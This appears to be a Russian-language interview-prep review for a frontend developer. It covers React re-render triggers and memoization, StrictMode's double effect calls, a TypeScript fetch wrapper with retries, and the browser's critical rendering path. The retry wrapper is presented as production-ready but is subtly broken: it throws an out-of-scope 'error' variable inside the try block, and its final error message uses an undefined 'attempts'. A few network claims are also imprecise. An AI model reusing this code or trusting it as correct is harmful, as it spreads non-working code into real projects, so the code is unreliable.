4forceUpdate (редко)this.forceUpdate() в классовых, или хак useReducer(x => x + 1) в функциональных. Антипаттерн.
5Смена keyЕсли у элемента меняется key — React считает это новым компонентом: старый анмаунтится (cleanup), новый маунтится. Полный сброс состояния (state, DOM, refs).

2. Bailout (Условия пропуска рендера) — Когда React НЕ вызывает функцию

React пытается оптимизировать. Рендер пропускается (Bailout), если:

  1. React.memo / PureComponent: Проверка пропсов shallow equal (Object.is) вернула true (пропсы те же ссылки/значения).
  2. setState с тем же значением: setCount(5) когда count === 5. React сравнивает Object.is(newState, currentState). Если true — Bailout (компонент не вызывается). Важно: это работает только для примитивов и стабильных ссылок.
  3. useMemo / useCallback вернули ту же ссылку: Если зависимость не изменилась, хук возвращает закешированную ссылку. Это позволяет дочерним memo сработать (Bailout).
  4. Родитель не ре-рендерился: Если родитель забейлоутился, дети даже не рассматриваются.

3. Глубина ререндера: «Всё или ничего» (Transitive Re-renders)

function App() {
const [count, setCount] = useState(0);
return (
<Parent> // Ре-рендерится (setCount)
<Child /> // Ре-рендерится (ребенок ре-рендерится)
<GrandChild /> // Ре-рендерится (внук ре-рендерится)
</Child>
</Parent>
);
}

Даже если GrandChild не использует count, он ре-рендерится, потому что Parent ре-рендерился и вызвал Child, который вызвал GrandChild.

Разрыв цепочки (Breaking the chain):

const Child = React.memo(({ children }) => {
console.log('Child render');
return <div>{children}</div>;
});

// В App:
<Parent>
<Child>
<GrandChild /> // GrandChild НЕ ре-рендерится, если Child забейлоутился!
</Child>
</Parent>

Ключ: children — это проп. Если Parent не меняет ссылку на элемент <GrandChild /> (или если GrandChild вынесен в переменную/мемо), Child видит тот же children -> Bailout -> GrandChild не вызывается.


4. Проблема Контекста (Context Trap)

const ThemeContext = createContext('light');

function App() {
const [theme, setTheme] = useState('light');
// ПРОБЛЕМА: Новый объект при каждом рендере!
return (
<ThemeContext.Provider value={{ theme, setTheme }}>
<Toolbar />
</ThemeContext.Provider>
);
}

const Button = React.memo(() => {
const { theme } = useContext(ThemeContext); // Ре-рендерится ВСЕГДА при смене theme
return <button className={theme}>Click</button>;
});

Даже React.memo на Button не поможет — useContext подписывается на контекст напрямую.

Решения (Senior Patterns):

  1. Разделение контекстов (Split Contexts):
    const ThemeValueCtx = createContext('light');
    const ThemeActionsCtx = createContext({ setTheme: () => {} }); // Стабильный редюсер/функции
    // Потребитель theme подписывается только на ValueCtx
  2. Селекторы через useContextSelector (библиотеки: use-context-selector, zustand/jotai/valtio — атомарное состояние).
  3. useMemo для value провайдера (обязательно, но не панацея, если меняется примитив внутри).
    const value = useMemo(() => ({ theme, setTheme }), [theme]); // Стабилизирует ссылку

5. Инструменты контроля (Deep Dive)

А. React.memo(Component, arePropsEqual?)

  • Первый аргумент: Компонент.
  • Второй аргумент (Custom Comparator): (prevProps, nextProps) => boolean. Вернуть trueпропустить рендер (Bailout).
    const Row = React.memo(({ id, data, onSelect }) => {
    return <tr onClick={() => onSelect(id)}>{data.name}</tr>;
    }, (prev, next) => {
    // Кастомная логика: рендерим ТОЛЬКО если изменились data или onSelect (игнорируем id если он стабилен)
    return prev.data === next.data && prev.onSelect === next.onSelect;
    });
  • Когда использовать: Чистые презентационные компоненты, списки, листья дерева.
  • Когда НЕ использовать: Компоненты, которые почти всегда ре-рендерятся (wrapper'ы, провайдеры), или где сравнение пропсов дороже рендера.

Б. useMemo / useCallback — Стабилизация ссылок (Referential Equality)

  • Суть: React сравнивает пропсы по ссылке (Object.is). {} !== {}, () => {} !== () => {}.
  • useMemo(() => compute(a, b), [a, b]) — кеш значения (объект, массив, примитив).
  • useCallback(fn, deps) — синтаксический сахар для useMemo(() => fn, deps). Кеш функции.
  • Критично для: Пропсов-функций (onClick, onChange), объектов/массивов в пропсах, зависимостей других хуков (useEffect, useMemo ниже по дереву).

В. useRef / useState (Lazy Init) — Мутация без рендера

  • Данные в ref.current меняются мгновенно и бесшумно (no re-render).
  • Паттерн: Хранить в ref то, что не нужно для рендера (таймеры, DOM-ноды, предыдущие значения, флаги isMounted, кэш вычислений).

Г. useDeferredValue / useTransition (Concurrent Features)

  • Не предотвращают рендер, а приоритизируют.
  • useTransition: Помечает обновление как «не срочное» (low priority). UI остается отзывчивым (ввод текста), тяжелый список рендерится в фоне.
  • useDeferredValue: Откладывает обновление части дерева (например, фильтрация списка) до простоя браузера.

6. Архитектурные паттерны предотвращения ререндеров (Best Practices 2024+)

ПаттернСутьПример
State Colocation (Колокация состояния)Держать стейт максимально низко там, где он используется. Не поднимать в App то, что нужно только в Modal.const [isOpen, setIsOpen] = useState(false) внутри Modal, а не в родителе.
Component Splitting / Atomic ComponentsВыносить часто обновляемые части в отдельные memo компоненты.<Input /> вместо <Form><Input /></Form> — ввод не ре-рендерит весь Form.
Passing Children as Prop (Children Pattern)Родитель не ре-рендерит статичный контент, переданный через children.<Sidebar><ExpensiveStaticChart /></Sidebar>Sidebar ре-рендерится, Chart нет.
Atomic State Libraries (Zustand, Jotai, Valtio, Recoil, Signals)Состояние вне React-дерева. Подписка на изменение конкретного атома -> ре-рендерит только компоненты, использующие этот атом.const useStore = create(() => ({ count: 0 })); -> const count = useStore(s => s.count); — меняется только count, ре-рендерится только этот компонент.
Server Components (RSC)Код выполняется только на сервере. Zero JS bundle для логики. Интерактивность только там, где use client.async function Page() { const data = await db(); return <ClientComp initialData={data} /> }

7. React Compiler (React Forget) — Будущее (уже в Canary/19)

  • Автоматическая мемоизация на этапе сборки (Babel/SWC plugin).
  • Анализирует код функции компонента, определяет зависимости, автоматически оборачивает:
    • Возвращаемый JSX -> memo логику.
    • Пропсы-функции -> useCallback.
    • Объекты/массивы в пропсах -> useMemo.
    • Хуки -> правильные зависимости.
  • Результат: Разработчик пишет «грязный» код без memo/useCallback/useMemo, компилятор делает его оптимальным.
  • Статус: React 19 RC / Canary. Meta использует в продакшене (Instagram, Facebook). Ожидается стабильный релиз как стандарт.

8. Чек-лист диагностики «Почему ре-рендерится?» (Debugging)

  1. React DevTools Profiler → Включить "Record why each component rendered".
  2. Смотрим фламу: жёлтый значок = причина (Props changed, State changed, Context changed, Hooks changed).
  3. Props changed → Смотрим, какой проп сменил ссылку. Обычно: функция не в useCallback, объект не в useMemo, новый массив из .map().
  4. Context changed → Разбиваем контекст или мигрируем на Zustand/Jotai.
  5. Parent re-rendered → Поднимаемся вверх по дереву, ищем источник.

9. Резюме: Ментальная модель Senior-разработчика

  1. Рендер — это не страшно. React быстр (VDOM diffing). Проблема — каскадные ре-рендеры тяжелых поддеревьев.
  2. По умолчанию: Родитель ре-рендерился -> Дети ре-рендерятся.
  3. Стратегия защиты:
    • Уровень 1 (Архитектура): State Colocation, RSC, Atomic State (Zustand/Jotai) — убирают проблему корневиком.
    • Уровень 2 (Композиция): children pattern, вынос статичного контента.
    • Уровень 3 (Мемоизация): React.memo на листьях + useMemo/useCallback для стабильности пропсов.
    • Уровень 4 (Concurrent): useTransition / useDeferredValue для тяжелых вычислений, которые нельзя убрать.
    • Уровень 5 (Автоматика): React Compiler — включаем, когда стабилен, и забываем про Уровень 3 в 90% кода.

Вопрос 22. Почему в useEffect в режиме разработки может отправляться два запроса при загрузке страницы.

Таймкод: 00:48:14

Ответ собеседника: Неполный. Связал с 'не в продакшене' и 'дебаг-модом', но не указал конкретно на <StrictMode>. Правильно: в StrictMode React намеренно монтирует-размонтирует-монтирует компонент для поиска сайд-эффектов. Это поведение только в dev.

Правильный ответ:

Причина — <React.StrictMode> (строгий режим), который включен по умолчанию в createRoot (React 18+) и в большинстве стартеров (CRA, Vite, Next.js).


1. Как это работает (Mount → Unmount → Mount)

В development режиме React намеренно выполняет двойной цикл монтирования для компонентов с useEffect, useLayoutEffect, useState (инициализация), useMemo/useCallback (инициализация):

1. Mount (Монтирование) -> useEffect cleanup (нет) -> useEffect callback (Запрос #1)
2. Unmount (Размонтирование) -> useEffect cleanup (Запускается! Отмена/очистка)
3. Mount (Монтирование снова) -> useEffect callback (Запрос #2)

В Production этого НЕТ: только один Mount -> Effect.


2. Зачем это нужно (Цель StrictMode)

Помочь обнаружить баги с очисткой ресурсов (Cleanup):

  • Забытые clearInterval / clearTimeout.
  • Неотписанные Event Listeners (removeEventListener).
  • Неотмененные подписки (WebSocket, WebRTC, RxJS, TanStack Query).
  • Утечки памяти через замыкания (stale closures).
  • Множественные запросы без дедупликации/отмены (AbortController).

Если после размонтирования эффект не прибрался за собой — второй монтировании это проявится (утечка, ошибка, двойной запрос).


3. Как правильно писать useEffect (Cleanup Pattern)

Каждый эффект, создающий внешний ресурс, обязан возвращать функцию очистки.

useEffect(() => {
// 1. Создаем контроллер отмены (стандартный способ для fetch)
const controller = new AbortController();
const { signal } = controller;

// 2. Запускаем асинхронную операцию
fetch('/api/data', { signal })
.then(res => res.json())
.then(data => {
// Проверка актуальности (optional, AbortController делает основную работу)
if (!signal.aborted) setData(data);
})
.catch(err => {
if (err.name !== 'AbortError') setError(err); // Игнорируем ошибку отмены
});

// 3. CLEANUP ФУНКЦИЯ (Критично!)
return () => {
controller.abort(); // Отменяет запрос при размонтировании или перезапуске эффекта
};
}, []); // Пустой депс = запуск один раз на монтировании

Поведение в StrictMode с этим кодом:

  1. Mount -> fetch стартует (Req #1).
  2. Unmount -> cleanup -> controller.abort() -> Req #1 отменяется (браузер отменяет сетевой запрос, если сервер поддерживает, или просто игнорирует ответ).
  3. Mount -> fetch стартует заново (Req #2). Результат в UI: Один успешный запрос (второй). В Network пе можно увидеть первый как canceled (красный).

4. Другие частые кейсы и решения

Сайд-эффектПроблема без CleanupПравильный Cleanup
setInterval / setTimeoutТаймер продолжает тикать в фоне, обновляет размонтированный компонент -> Warning/Leak.return () => clearInterval(id);
addEventListenerСлушатель висит на window/document, память не освобождается, возможны ошибки.return () => removeEventListener(...);
WebSocket / SSEСоединение висит открытым, сервер шлет данные в никуда.return () => socket.close();
Подписки на Store (Zustand/Redux/RxJS)Колбэк вызывается после анмаунта -> setState на unmounted.return unsubscribe; / subscription.unsubscribe();
DOM мутации / ResizeObserverНакопление наблюдателей.return () => observer.disconnect();

5. Как отключить (Не рекомендуется для разработки)

Можно убрать <StrictMode> в index.tsx / main.tsx:

// Было:
<React.StrictMode>
<App />
</React.StrictMode>

// Стало:
<App />

Почему не стоит: Вы потеряете защиту от классов багов, которые проявятся в проде под нагрузкой или при навигации ( SPA transitions -> unmount/mount). Лучше научиться писать cleanup.


6. Нюанс: React 18+ и useEffect vs use / Suspense

В современных приложениях (Next.js App Router, React Router 7, TanStack Query) ручной fetch в useEffect считается антипаттерном для загрузки данных.

  • Server Components (RSC): Данные загружаются на сервере (async/await), никаких useEffect.
  • Client Components + TanStack Query / SWR / React Query: Библиотеки сами управляют дедупликацией, кэшированием, отменой (AbortController), рефетчингом. Они уже устойчивы к StrictMode.
  • use hook (React 19): const data = use(promise) — работает с Suspense, не требует useEffect.

Вывод: Если вы пишете fetch в useEffect в 2024+ — вы, скорее всего, делаете что-то не так (кроме обучения или очень специфических кейсов). Используйте TanStack Query или RSC.


7. Резюме для собеседования

> «В dev-режиме React 18+ в <StrictMode> намеренно делает Mount → Unmount → Mount, чтобы заставить эффекты выполнить свою cleanup-функцию. Это выявляет утечки памяти, забытые таймеры, незакрытые сокеты и запросы без AbortController. > > Правильный код в useEffect всегда возвращает функцию очистки. Для fetch — это controller.abort(). В проде это происходит один раз. Библиотеки вроде TanStack Query делают это за вас автоматически.»

Вопрос 23. Напиши функцию-обёртку для fetch с повторными попытками (retry) при ошибке.

Таймкод: 00:53:23

Ответ собеседника: Правильный. Предложил рекурсивное решение с параметром attempts. В catch уменьшает счётчик и вызывает себя снова. Базовый случай: если attempts <= 1 — бросает ошибку. Добавил return перед рекурсивным вызовом. Обработал возврат успешного результата. Учёл, что fetch не режектит на HTTP 4xx/5xx (нужен check response.ok).

Правильный ответ:

Кандидат правильно описал алгоритм. Ниже — production-ready реализация на TypeScript с учетом всех нюансов: экспоненциальная задержка (backoff), классификация ошибок (ретраить ли?), поддержка AbortSignal, типизация и обработка response.ok.


1. Полная реализация (TypeScript)

// Типы для конфигурации
interface RetryOptions {
/** Максимальное количество попыток (включая первый запрос) */
retries?: number;
/** Базовая задержка в мс (для экспоненциального backoff) */
baseDelayMs?: number;
/** Максимальная задержка (cap) */
maxDelayMs?: number;
/** Функция-предикат: стоит ли ретраить эту ошибку/ответ */
isRetryable?: (error: unknown, response?: Response) => boolean;
/** Callback при ретрае (логирование, метрики) */
onRetry?: (attempt: number, error: unknown, delayMs: number) => void;
/** AbortSignal для внешней отмены (приоритет над внутренними ретраями) */
signal?: AbortSignal;
}

// Ошибка, которую бросаем, если все попытки исчерпаны
export class FetchRetryError extends Error {
public readonly attempts: number;
public readonly lastError: unknown;
public readonly lastResponse?: Response;

constructor(message: string, attempts: number, lastError: unknown, lastResponse?: Response) {
super(message);
this.name = 'FetchRetryError';
this.attempts = attempts;
this.lastError = lastError;
this.lastResponse = lastResponse;
// Прототип для instanceof
Object.setPrototypeOf(this, FetchRetryError.prototype);
}
}

/**
* Обертка над fetch с автоматическими повторами (retry) и экспоненциальным backoff.
*/
export async function fetchWithRetry(
input: RequestInfo | URL,
init: RequestInit = {},
options: RetryOptions = {}
): Promise<Response> {
const {
retries = 3,
baseDelayMs = 300,
maxDelayMs = 5000,
isRetryable = defaultIsRetryable,
onRetry,
signal: externalSignal,
} = options;

// Создаем внутренний AbortController, который мы можем управлять
// и линкуем его с внешним signal (если передан)
const controller = new AbortController();
const abortHandler = () => controller.abort();

if (externalSignal) {
if (externalSignal.aborted) controller.abort();
else externalSignal.addEventListener('abort', abortHandler, { once: true });
}

// Функция задержки с экспоненциальным backoff и jitter (дробь)
const sleep = (ms: number) =>
new Promise((resolve, reject) => {
const id = setTimeout(resolve, ms);
// Если сигнал аборта пришел во время сна - просыпаемся сразу с ошибкой
const abortListener = () => {
clearTimeout(id);
reject(controller.signal.reason || new DOMException('Aborted', 'AbortError'));
};
controller.signal.addEventListener('abort', abortListener, { once: true });
});

let attempt = 0;
let lastError: unknown;
let lastResponse: Response | undefined;

while (true) {
attempt++;
try {
// Важно: передаем наш контроллер в fetch
const response = await fetch(input, {
...init,
signal: controller.signal,
});

lastResponse = response;

// fetch не бросает на 4xx/5xx, проверяем вручную
if (!response.ok) {
// Если это последняя попытка или ошибка не ретраится -> бросаем
if (attempt >= retries || !isRetryable(null, response)) {
// Создаем ошибку с контекстом ответа
const error = new Error(`HTTP ${response.status} ${response.statusText}`) as Error & { response: Response };
error.response = response;
throw error;
}
// Иначе падаем в catch блок для ретрая (имитируем ошибку)
throw error; // Перехватится ниже
}

// Успех (2xx) - чистим слушатель и возвращаем
if (externalSignal) externalSignal.removeEventListener('abort', abortHandler);
return response;

} catch (error: unknown) {
lastError = error;

// Если это наша ошибка отмены (AbortError) - не ретраим, пробрасываем сразу
if (error instanceof DOMException && error.name === 'AbortError') {
if (externalSignal) externalSignal.removeEventListener('abort', abortHandler);
throw error;
}

// Если попытки исчерпаны - оборачиваем в FetchRetryError и бросаем
if (attempt >= retries) {
if (externalSignal) externalSignal.removeEventListener('abort', abortHandler);
throw new FetchRetryError(
`Fetch failed after ${attempts} attempts`,
attempt,
lastError,
lastResponse
);
}

// Проверяем, стоит ли ретраить эту конкретную ошибку
if (!isRetryable(error, lastResponse)) {
if (externalSignal) externalSignal.removeEventListener('abort', abortHandler);
throw error; // Не ретраируемая ошибка (например, 400, 401, 404)
}

// Вычисляем задержку: экспоненциальный backoff + jitter (случайность 0-25%)
const delay = Math.min(
baseDelayMs * 2 ** (attempt - 1) + Math.random() * baseDelayMs * 0.25,
maxDelayMs
);

// Уведомляем о ретрае
onRetry?.(attempt, error, delay);

// Ждем
try {
await sleep(delay);
} catch (sleepError) {
// Если проснулись из-за abort - пробрасываем
if (externalSignal) externalSignal.removeEventListener('abort', abortHandler);
throw sleepError;
}

// Цикл продолжается (while true)
}
}
}

/**
* Логика ретрая по умолчанию:
* - Сетью ошибки (TypeError, network down) -> Ретраим.
* - 5xx (Server Errors) -> Ретраим.
* - 429 (Too Many Requests) -> Ретраим (лучше читать Retry-After заголовок).
* - 4xx (Client Errors, кроме 429) -> НЕ ретраим (баг клиента).
*/
function defaultIsRetryable(error: unknown, response?: Response): boolean {
// 1. Ошибки сети / отмены / таймауты (обычно TypeError: Failed to fetch)
if (error instanceof TypeError) return true; // Network error
if (error instanceof DOMException && error.name === 'AbortError') return false; // Не ретраим отмену

// 2. Ошибки HTTP статусов
if (response) {
const status = response.status;
// 5xx - сервер упал, можно попробовать позже
if (status >= 500 && status < 600) return true;
// 429 - rate limit, сервер просит подождать
if (status === 429) return true;
// 408 - Request Timeout (редко используется)
if (status === 408) return true;
// Остальные 4xx (400, 401, 403, 404) - ошибка клиента, ретрай не поможет
return false;
}

// 3. Неизвестная ошибка - лучше не ретраить, чтобы не зациклиться
return false;
}

2. Примеры использования

// 1. Базовое использование
try {
const response = await fetchWithRetry('/api/users', {}, { retries: 3 });
const data = await response.json();
} catch (e) {
if (e instanceof FetchRetryError) {
console.error(`Все попытки исчерпаны (${e.attempts}). Последняя ошибка:`, e.lastError);
// Можно достать последний response: e.lastResponse?.status
}
throw e;
}

// 2. С кастомной логикой ретрая (например, ретраить 404 для long-polling)
await fetchWithRetry('/api/job/123', {}, {
retries: 10,
baseDelayMs: 1000,
isRetryable: (err, res) => res?.status === 404 || defaultIsRetryable(err, res),
onRetry: (attempt, err, delay) => console.log(`Attempt ${attempt} failed, retrying in ${delay}ms...`),
});

// 3. Интеграция с AbortController (отмена по кнопке пользователя)
const controller = new AbortController();
const btn = document.getElementById('cancel');
btn?.addEventListener('click', () => controller.abort());

try {
await fetchWithRetry('/api/large-download', {}, { signal: controller.signal });
} catch (e) {
if (e instanceof DOMException && e.name === 'AbortError') {
console.log('Download cancelled by user');
}
}

// 4. Работа с Retry-After заголовком (продвинутый уровень)
async function fetchWithRetryAdvanced(input: RequestInfo, init: RequestInit = {}) {
return fetchWithRetry(input, init, {
retries: 5,
isRetryable: (err, res) => {
if (!res) return defaultIsRetryable(err);
if (res.status === 429) return true; // Ретраим 429
return defaultIsRetryable(err, res);
},
// Можно переопределить расчет задержки через замыкание или расширить опции
});
}

3. Ключевые детали реализации (Senior Level)

АспектРеализацияПочему это важно
response.ok проверкаif (!response.ok) throw ...fetch ресолвится (не режектит) на 404/500. Без этого ретрай не сработает на ошибках сервера.
AbortController linkingВнутренний controller + externalSignal.addEventListener('abort', ...)Позволяет отменить и текущий запрос, и все будущие ретраи одним внешним сигналом. Без этого внешний abort убьет только текущий fetch, а цикл while запустит новый.
Exponential Backoff + Jitterbase * 2^attempt + random()Предотвращает Thundering Herd (стадный эффект): если 1000 клиентов упали одновременно, они не бьдут сервер одновременно через 300мс, а размазываются во времени.
Классификация ошибок (isRetryable)TypeError (сеть), 5xx, 429 -> true; 4xx (кроме 429) -> falseНельзя ретраить 400 (Bad Request), 401 (Unauth), 403 (Forbidden), 404 (Not Found) — это баги клиента или прав доступа, ретрай не поможет, только ухудшит UX и нагрузку.
FetchRetryError wrapperСохраняет attempts, lastError, lastResponseПозволяет верхнему уровню принять решение: показать тост, редирект на логин (если 401 в последнем), залогировать в Sentry с контекстом.
Очистка слушателейremoveEventListener('abort', ...) в finally-подобных блоках (успех/ошибка/аборт)Предотвращает утечки памяти и множественные срабатывания abort при повторных вызовах функции.
while(true) вместо рекурсииИтеративный подходИзбегает переполнения стека (RangeError: Maximum call stack size exceeded) при больших retries (хотя 10-20 безопасно, итеративный стиль надежнее и читаемее для async).

4. Альтернатива: Библиотеки (Не изобретать велосипед в проде)

В реальных проектах лучше использовать проверенные решения:

  • ky — легкая обертка над fetch с встроенным retry, hooks, prefixUrl, timeout.
    import ky from 'ky';
    await ky.get('/api/users', { retry: { limit: 3, methods: ['get'] } }).json();
  • axios-retry / axios — если проект на Axios.
  • @tanstack/query (React Query) — имеет встроенный retry: 3 (функция или число) на уровне запроса, работает с кэшем и дедупликацией.

Когда писать самому:

  • Нет возможности добавить зависимость (микросервис, edge function, бандл < 10KB).
  • Нужна очень специфическая логика ретрая (например, зависимость от кастомных заголовков ответа, сложные state machine).

5. Чек-лист для Code Review этого кода

  1. Обработан response.ok (4xx/5xx не режектят промис).
  2. Есть AbortSignal поддержка (внешняя отмена работает корректно).
  3. Реализован Backoff + Jitter (не фиксированная задержка).
  4. Есть фильтр ретрая (isRetryable): не ретраим 400, 401, 403, 404.
  5. Ошибка результата содержит контекст (attempts, lastResponse, lastError).
  6. Нет утечек слушателей событий (removeEventListener).
  7. Типизация строгая (Generics для возвращаемого типа Response или T через .json()).

Вопрос 24. Что происходит в браузере после ввода URL и нажатия Enter (Critical Rendering Path)

Таймкод: 01:01:44

Ответ собеседника: Неполный. 1. DNS lookup (домен -> IP). 2. TCP handshake (3-way). 3. TLS handshake (если HTTPS). 4. HTTP запрос. 5. Сервер отдаёт HTML. 6. Браузер парсит HTML -> DOM, CSS -> CSSOM. 7. Дерево рендеринга -> Layout -> Paint -> Composite. Упомянул подтверждение TCP пакетов. Не сказал про предзагрузку ресурсов, приоритеты, блокирующие скрипты/стили.

Правильный ответ:

Процесс навигации и рендеринга — это сложный конвейер (pipeline), который можно разделить на сетевую фазу и фазу рендеринга (Critical Rendering Path — CRP). Ниже детальный разбор с акцентом на оптимизацию и нюансы, критичные для Senior-уровня.


1. Сетевая фаза (Navigation & Network)

А. DNS Resolution (Резолвинг)

  • Кэширование: Браузер проверяет: DNS-кэш ОС → кэш браузера → HSTS-кэш (для HTTPS) → DNS-prefetch/preconnect hints (<link rel="dns-prefetch" href="//api.example.com">).
  • Итеративный запрос: Если нет в кэше — рекурсивный запрос к резолверам (ISP → Root → TLD → Authoritative).
  • Оптимизация: dns-prefetch запускает резолвинг заранее, preconnect устанавливает TCP+TLS заранее.

Б. TCP Handshake (3-way: SYN, SYN-ACK, ACK)

  • Latency: 1 RTT (Round Trip Time).
  • TCP Fast Open (TFO): Позволяет передать данные в первом SYN-пакете (экономит 1 RTT при повторных посещениях), требует поддержки сервером и ОС.
  • Keep-Alive / Connection Reuse: HTTP/1.1 keep-alive, HTTP/2/3 мультиплексирование используют одно соединение для множества ресурсов. Важно: лимит соединений на хост (6 для HTTP/1.1, 1 для HTTP/2).

В. TLS Handshake (HTTPS)

  • 1.2: 2 RTT (ClientHello, ServerHello+Cert+KeyExch, ClientKeyExch, Finished).
  • 1.3: 1 RTT (объединены полеты, 0-RTT mode для повторных сессий — риск replay-атак, используется только для идемпотентных GET).
  • OCSP Stapling: Сервер прикрепляет подпись валидности сертификата, браузер не ходит к CA отдельно.
  • Session Resumption: Session ID / Session Tickets / PSK (Pre-Shared Keys) в TLS 1.3 — пропускают проверку сертификата и генерацию ключей.

Г. HTTP Request / Response

  • HTTP/1.1: Head-of-Line Blocking (HOLB), параллелизм через домен-шардинг (устарело).
  • HTTP/2 (h2): Бинарный протокол, мультиплексирование в одном TCP-соединении, приоритизация стримов (weight/dependency), HPACK-сжатие заголовков, Server Push (депрекейтед в пользу 103 Early Hints / Preload).
  • HTTP/3 (h3 / QUIC): UDP-based. Устраняет TCP HOLB (потери пакетов в одном стриме не блокируют другие). 0-RTT по умолчанию. Connection ID выживает при смене IP (мобильная сеть → WiFi).
  • 103 Early Hints: Сервер шлет Link: </style.css>; rel=preload до готовности основного HTML, браузер начинает качать критические ресурсы параллельно с генерацией бэкендом.

2. Фаза загрузки и парсинга (Loading & Parsing)

А. Preload Scanner (Сканер предзагрузки) — Ключевой момент, упущен кандидатом

  • Параллельный парсер: Пока основной парсер блокируется на <script src="..."> (без async/defer) или тяжелом CSS, Preload Scanner (второстепенный легковесный парсер) бежит вперед по сырому HTML.
  • Что ищет: <link rel="preload">, <img src>, <script src>, <link rel="stylesheet">, <video poster>, srcset, @import в CSS (ограниченно).
  • Результат: Ставит ресурсы в очередь загрузки (Network Stack) с приоритетами до того, как основной парсер до них дойдет. Это главная оптимизация браузеров последних 10 лет.

Б. Приоритизация ресурсов (Resource Prioritization) Браузер назначает приоритет (High / Medium / Low / Highest) на основе типа и контекста:

Ресурс / КонтекстПриоритетПримечание
Main Document (HTML)HighestБлокирует всё.
CSS (Blocking)HighestБлокирует рендеринг и выполнение JS.
CSS (Non-blocking, media="print")LowНе блокирует CRP.
JS (Blocking, в <head>)HighБлокирует парсер.
JS (defer)HighЗагружается параллельно, выполняется перед DOMContentLoaded.
JS (async)LowНе блокирует парсер, выполняется сразу загрузки (race condition).
JS (type=module)LowПо умолчанию defer.
Images (в viewport / fetchpriority="high")HighLCP-кандидаты.
Images (below fold)LowLazy-loading (loading="lazy") по умолчанию Low.
FontsHighЕсли preload или обнаружены в CSS. Иначе Medium/Low.
**Preload (as="style/script/font")High/HighestЯвный сигнал браузеру.

В. Блокирующие скрипты и стили (Render Blocking) — Упущен кандидатом

  • CSSOM блокирует JS: Браузер не выполняет <script> (inline или external), пока не построен CSSOM на момент этого скрипта. JS может запрашивать getComputedStyle, offsetWidth — нужны готовые стили.
  • JS блокирует HTML Parser: <script src> (без async/defer) останавливает DOM-парсинг. Парсер ждет загрузку, парсинг и выполнение JS.
  • defer: Скрипт качается параллельно, выполняется после полного парсинга HTML (перед DOMContentLoaded), в порядке появления.
  • async: Качается параллельно, выполняется сразу после загрузки, не дожидаясь парсинга HTML. Порядок не гарантирован. Не блокирует DOMContentLoaded.
  • type=module: Неявный defer. Зависимости графа модулей загружаются параллельно.

3. Critical Rendering Path (CRP) — Построение пикселей

А. DOM (Document Object Model)

  • Инкрементальный парсинг: байты → токены → ноды → дерево.
  • document.write разрушает инкрементальность и Preload Scanner — запрещен в современной разработке.

Б. CSSOM (CSS Object Model)

  • Не инкрементален (в отличие от DOM): браузер должен скачать и распарсить весь CSS-файл, прежде чем использовать его (каскадность, специфичность, @media).
  • Блокирует рендеринг: Render Tree не строится без CSSOM.
  • Оптимизация: Critical CSS (инлайн критических стилей в <head>), media="print" onload="this.media='all'" для некритического CSS, избегание @import (последовательная загрузка).

В. Render Tree (Дерево рендеринга)

  • Объединение DOM + CSSOM.
  • Включает только видимые ноды (display: none — исключены, visibility: hidden — включены, занимают место).
  • Псевдоэлементы (::before, ::after) добавляются сюда, их нет в DOM.

Г. Layout (Reflow / Relayout) — Геометрия

  • Рекурсивный обход Render Tree: расчет x, y, width, height.
  • Viewport — корневая система координат.
  • Триггеры: изменение геометрии (width, height, margin, padding, font-size, position: absolute), чтение offsetTop, getBoundingClientRect() (Force Synchronous Layout / Layout Thrashing).
  • Оптимизация: батчинг чтения/записи (читать все → писать все), transform/opacity не триггерят Layout.

Д. Paint (Rasterization) — Рисование пикселей

  • Генерация Display List (список команд рисования: drawRect, drawText, drawImage).
  • Разбивка на слои (Layers) и тайлы (Tiles).
  • Триггеры: color, background, border-radius, box-shadow, text-decoration.
  • Растеризация: CPU (Software) или GPU (Skia/GPU Rasterization). Текстуры загружаются в VRAM.

Е. Composite (Композиция) — Финальный кадр

  • Сборка слоев в итоговую текстуру экрана (Compositor Thread, отдельный от Main Thread).
  • GPU Acceleration: transform: translateZ(0) / will-change: transform создают собственный композиторский слой (Compositor Layer).
  • Плюсы: Анимация transform/opacity на слое идет на 60/120fps даже если Main Thread занят (JS выполняется долго).
  • Минусы: Память (VRAM), затраты на управление слоями (Layer Explosion — создание сотен слоев убивает производительность).

4. Ключевые метрики и события жизненного цикла

Событие / МетрикаОписаниеЧто блокирует
TTFB (Time To First Byte)Время до первого байта HTML.Сервер, сеть, TLS.
FP (First Paint)Любая отрисовка (фон, текст).CSSOM, шрифты.
FCP (First Contentful Paint)Первый контент (текст, изображение, SVG, Canvas).CSSOM, критические ресурсы.
LCP (Largest Contentful Paint)Самый большой элемент во вьюпорте.Приоритет загрузки LCP-ресурса, сервер.
DOMContentLoadedHTML распарсен, defer-скрипты выполнены.Блокирующие JS, CSSOM.
Load (onload)Все ресурсы (картинки, стили, скрипты) загружены.Всё.
TTI (Time To Interactive) / TBTСтраница интерактивна (Main Thread свободен > 50мс).Long Tasks (JS > 50мс), гидратация фреймворков.
CLS (Cumulative Layout Shift)Сумма неожиданных сдвигов layout.Картинки без width/height, шрифты (FOUT/FOIT), динамический контент.

5. Чек-лист оптимизации CRP (Senior Level)

  1. Минимизировать критическую цепочку: Убрать блокирующие ресурсы из <head>.
  2. Critical CSS: Инлайн стили для Above-the-fold. Остальное — preload + media="print" onload... или loadCSS.
  3. Шрифты: font-display: swap (избегаем невидимого текста), preload-woff2, size-adjust / ascent-override (уменьшаем CLS при подмене шрифта).
  4. JS: defer для всего некритического. async для независимых виджетов (аналитика, чаты). Code Splitting (динамический import()).
  5. Preload/Preconnect: <link rel="preconnect" href="https://cdn.example.com" crossorigin>, <link rel="preload" as="font" type="font/woff2" crossorigin href="...">.
  6. 103 Early Hints / Server Push (H2) / Early Hints (H3): Начинать пушить критику до готовности HTML.
  7. Избегать Layout Thrashing: Использовать requestAnimationFrame для чтения/записи, ResizeObserver, IntersectionObserver.
  8. Композиторские анимации: Только transform и opacity для анимаций. will-change — с осторожностью (промотит в слой заранее).
  9. Content-Visibility: content-visibility: auto + contain-intrinsic-size для отложенного рендеринга offscreen контента (skip Layout/Paint).

Резюме: Кандидат описал "учебный" скелет. Senior-ответ требует понимания параллелизма (Preload Scanner, HTTP/2/3 multiplexing), приоритизации (fetchpriority, LCP), блокировок (CSS blocks JS, JS blocks Parser) и архитектуры браузера (Main Thread vs Compositor Thread, Layer promotion, Rasterization). Без этого невозможно диагностировать производительность (Web Vitals) и принимать архитектурные решения (SSR vs CSR, Hydration, Islands Architecture).

Вопрос 25. Что происходит в браузере после получения HTML (Critical Rendering Path)

Таймкод: 01:03:43

